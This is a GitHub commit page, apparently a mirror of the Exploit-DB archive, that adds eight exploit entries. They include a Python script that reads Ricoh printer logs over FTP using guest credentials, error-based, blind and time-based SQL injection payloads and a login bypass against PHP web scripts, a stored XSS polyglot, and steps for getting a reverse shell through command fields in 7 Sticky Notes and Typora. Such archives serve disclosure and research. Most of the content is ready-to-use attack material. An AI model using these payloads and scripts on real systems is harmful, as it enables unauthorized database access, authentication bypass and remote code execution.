Skip to content

Commit 9362ea8

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 25d1f1d + a5920da commit 9362ea8

File tree

10 files changed

+270
-0
lines changed

10 files changed

+270
-0
lines changed

‎exploits/hardware/remote/51755.py

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
#Exploit Title: Ricoh Printer Directory and File Exposure
2+
#Date: 9/15/2023
3+
#Exploit Author: Thomas Heverin (Heverin Hacker)
4+
#Vendor Homepage: https://www.ricoh.com/products/printers-and-copiers
5+
#Software Link: https://replit.com/@HeverinHacker/Ricoh-Printer-Directory-and-File-Finder#main.py
6+
#Version: Ricoh Printers - All Versions
7+
#Tested on: Windows
8+
#CVE: N/A
9+
10+
#Directories Found: Help, Info (Printer Information), Prnlog (Print Log), Stat (Statistics) and Syslog (System Log)
11+
12+
from ftplib import FTP
13+
14+
def ftp_connect(ip):
15+
try:
16+
ftp = FTP(ip)
17+
ftp.login("guest", "guest")
18+
print(f"Connected to {ip} over FTP as 'guest'")
19+
return ftp
20+
except Exception as e:
21+
print(f"Failed to connect to {ip} over FTP: {e}")
22+
return None
23+
24+
if __name__ == "__main__":
25+
target_ip = input("Enter the Ricoh Printer IP address: ")
26+
27+
ftp_connection = ftp_connect(target_ip)
28+
if ftp_connection:
29+
try:
30+
while True:
31+
file_list = ftp_connection.nlst()
32+
print("List of Ricoh printer files and directories:")
33+
for index, item in enumerate(file_list, start=1):
34+
print(f"{index}. {item}")
35+
36+
file_index = int(input("Enter the printer index of the file to read (1-based), or enter 0 to exit: ")) - 1
37+
if file_index < 0:
38+
break
39+
40+
if 0 <= file_index < len(file_list):
41+
selected_file = file_list[file_index]
42+
lines = []
43+
ftp_connection.retrlines("RETR " + selected_file, lines.append)
44+
print(f"Contents of '{selected_file}':")
45+
for line in lines:
46+
print(line)
47+
else:
48+
print("Invalid file index.")
49+
except Exception as e:
50+
print(f"Failed to perform operation: {e}")
51+
finally:
52+
ftp_connection.quit()

‎exploits/php/remote/51749.TXT

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
## Title: Equipment Rental Script-1.0 - SQLi
2+
## Author: nu11secur1ty
3+
## Date: 09/12/2023
4+
## Vendor: https://www.phpjabbers.com/
5+
## Software: https://www.phpjabbers.com/equipment-rental-script/#sectionDemo
6+
## Reference: https://portswigger.net/web-security/sql-injection
7+
8+
## Description:
9+
The package_id parameter appears to be vulnerable to SQL injection
10+
attacks. The payload ' was submitted in the package_id parameter, and
11+
a database error message was returned. You should review the contents
12+
of the error message, and the application's handling of other input,
13+
to confirm whether a vulnerability is present. The attacker can steal
14+
all information from the database!
15+
16+
[+]Payload:
17+
mysql
18+
19+
Parameter: #1* ((custom) POST)
20+
Type: error-based
21+
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
22+
Payload: package_id=(-4488))) OR 1 GROUP BY
23+
CONCAT(0x71787a6a71,(SELECT (CASE WHEN (7794=7794) THEN 1 ELSE 0
24+
END)),0x7176717671,FLOOR(RAND(0)*2)) HAVING
25+
MIN(0)#from(select(sleep(20)))a)&cnt=2&date_from=12/9/2023&hour_from=11&minute_from=00&date_to=12/9/2023&hour_to=12&minute_to=00
26+
27+
## Reproduce:
28+
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Equipment-Rental-Script-1.0
29+
30+
System Administrator - Infrastructure Engineer
31+
Penetration Testing Engineer
32+
home page: https://www.nu11secur1ty.com/

‎exploits/php/remote/51750.TXT

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# Exploit Title: Blood Bank & Donor Management System using v2.2 - Stored XSS
2+
# Application: Blood Donor Management System
3+
# Version: v2.2
4+
# Bugs: Stored XSS
5+
# Technology: PHP
6+
# Vendor Homepage: https://phpgurukul.com/
7+
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system-free-download/
8+
# Date: 12.09.2023
9+
# Author: SoSPiro
10+
# Tested on: Windows
11+
12+
#POC
13+
========================================
14+
1. Login to admin account
15+
2. Go to /admin/update-contactinfo.php
16+
3. Change "Adress" or " Email id " or " Contact Number" inputs and add "/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e" payload.
17+
4. Go to http://bbdms.local/inedx.php page and XSS will be triggered.

‎exploits/php/webapps/51751.TXT

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# Exploit Title: Bank Locker Management System - SQL Injection
2+
# Application: Bank Locker Management System
3+
# Date: 12.09.2023
4+
# Bugs: SQL Injection
5+
# Exploit Author: SoSPiro
6+
# Vendor Homepage: https://phpgurukul.com/
7+
# Software Link: https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/
8+
# Tested on: Windows 10 64 bit Wampserver
9+
10+
## Description:
11+
This report highlights a critical SQL Injection vulnerability discovered in the "Bank Locker Management System" application. The vulnerability allows an attacker to bypass authentication and gain unauthorized access to the application.
12+
13+
## Vulnerability Details:
14+
- **Application Name**: Bank Locker Management System
15+
- **Software Link**: [Download Link](https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/)
16+
- **Vendor Homepage**: [Vendor Homepage](https://phpgurukul.com/)
17+
18+
## Vulnerability Description:
19+
The SQL Injection vulnerability is present in the login mechanism of the application. By providing the following payload in the login and password fields:
20+
21+
Payload: admin' or '1'='1-- -
22+
23+
An attacker can gain unauthorized access to the application with administrative privileges.
24+
25+
## Proof of Concept (PoC):
26+
1. Visit the application locally at http://blms.local (assuming it's hosted on localhost).
27+
2. Navigate to the "banker" directory: http://blms.local/banker/
28+
3. In the login and password fields, input the following payload:
29+
4. admin' or '1'='1-- -

‎exploits/php/webapps/51753.TXT

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
## Title: Fundraising Script-1.0 SQLi
2+
## Author: nu11secur1ty
3+
## Date: 09/13/2023
4+
## Vendor: https://www.phpjabbers.com/
5+
## Software: https://www.phpjabbers.com/fundraising-script/#sectionDemo
6+
## Reference: https://portswigger.net/web-security/sql-injection
7+
8+
## Description:
9+
The `cid` parameter appears to be vulnerable to SQL injection attacks.
10+
The payload ' was submitted in the cid parameter, and a database error
11+
message was returned.
12+
The database is empty, but if it is not, this will be over for the
13+
money of the donors and their bank accounts!
14+
The attacker can steal all information from the database!
15+
16+
[+]Payload:
17+
mysql
18+
19+
Parameter: cid (GET)
20+
Type: error-based
21+
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
22+
Payload: controller=pjFront&action=pjActionLoadCampaign&cid=(UPDATEXML(1741,CONCAT(0x2e,0x71626b7071,(SELECT
23+
(ELT(1741=1741,1))),0x7162787171),3873))
24+
25+
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Fundraising-Script-1.0
26+
27+
System Administrator - Infrastructure Engineer
28+
Penetration Testing Engineer
29+
nu11secur1ty <http://nu11secur1ty.com/>

‎exploits/php/webapps/51754.TXT

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
## Title: PHP Shopping Cart-4.2 Multiple-SQLi
2+
## Author: nu11secur1ty
3+
## Date: 09/13/2023
4+
## Vendor: https://www.phpjabbers.com/
5+
## Software:https://www.phpjabbers.com/php-shopping-cart-script/#sectionPricing
6+
## Reference: https://portswigger.net/web-security/sql-injection
7+
8+
## Description:
9+
The `id` parameter appears to be vulnerable to SQL injection attacks.
10+
A single quote was submitted in the id parameter, and a database error
11+
message was returned. Two single quotes were then submitted and the
12+
error message disappeared. The attacker easily can steal all
13+
information from the database of this web application!
14+
WARNING! All of you: Be careful what you buy! This will be your responsibility!
15+
16+
[+]Payload:
17+
mysql
18+
19+
Parameter: id (GET)
20+
Type: boolean-based blind
21+
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
22+
Payload: controller=pjFront&action=pjActionGetStocks&id=1') OR NOT
23+
3795=3795-- sRcp&session_id=
24+
25+
Type: error-based
26+
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
27+
GROUP BY clause (GTID_SUBSET)
28+
Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND
29+
GTID_SUBSET(CONCAT(0x71717a6b71,(SELECT
30+
(ELT(3820=3820,1))),0x7178627871),3820)-- kQZA&session_id=
31+
32+
Type: time-based blind
33+
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
34+
Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND
35+
(SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id=
36+
37+
## Reproduce:
38+
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Shopping-Cart-4.2
39+
40+
## Proof and Exploit:
41+
https://www.nu11secur1ty.com/2023/09/php-shopping-cart-42-multiple-sqli.html
42+
43+
System Administrator - Infrastructure Engineer
44+
Penetration Testing Engineer
45+
nu11secur1ty <http://nu11secur1ty.com/>

‎exploits/windows/local/51748.TXT

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# Exploit Title: 7 Sticky Notes v1.9 - OS Command Injection
2+
# Discovered by: Ahmet Ümit BAYRAM
3+
# Discovered Date: 12.09.2023
4+
# Vendor Homepage: http://www.7stickynotes.com
5+
# Software Link:
6+
http://www.7stickynotes.com/download/Setup7StickyNotesv19.exe
7+
# Tested Version: 1.9 (latest)
8+
# Tested on: Windows 2019 Server 64bit
9+
10+
# # # Steps to Reproduce # # #
11+
12+
# Open the program.
13+
# Click on "New Note".
14+
# Navigate to the "Alarms" tab.
15+
# Click on either of the two buttons.
16+
# From the "For" field, select "1" and "seconds" (to obtain the shell
17+
within 1 second).
18+
# From the "Action" dropdown, select "command".
19+
# In the activated box, enter the reverse shell command and click the "Set"
20+
button to set the alarm.
21+
# Finally, click on the checkmark to save the alarm.
22+
# Reverse shell obtained!

‎exploits/windows/local/51752.TXT

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Exploit Title: Typora v1.7.4 - OS Command Injection
2+
# Discovered by: Ahmet Ümit BAYRAM
3+
# Discovered Date: 13.09.2023
4+
# Vendor Homepage: http://www.typora.io
5+
# Software Link: https://download.typora.io/windows/typora-setup-ia32.exe
6+
# Tested Version: v1.7.4 (latest)
7+
# Tested on: Windows 2019 Server 64bit
8+
9+
# # # Steps to Reproduce # # #
10+
11+
# Open the application
12+
# Click on Preferences from the File menu
13+
# Select PDF from the Export tab
14+
# Check the “run command” at the bottom right and enter your reverse shell
15+
command into the opened box
16+
# Close the page and go back to the File menu
17+
# Then select PDF from the Export tab and click Save
18+
# Reverse shell is ready!

0 commit comments

Comments
 (0)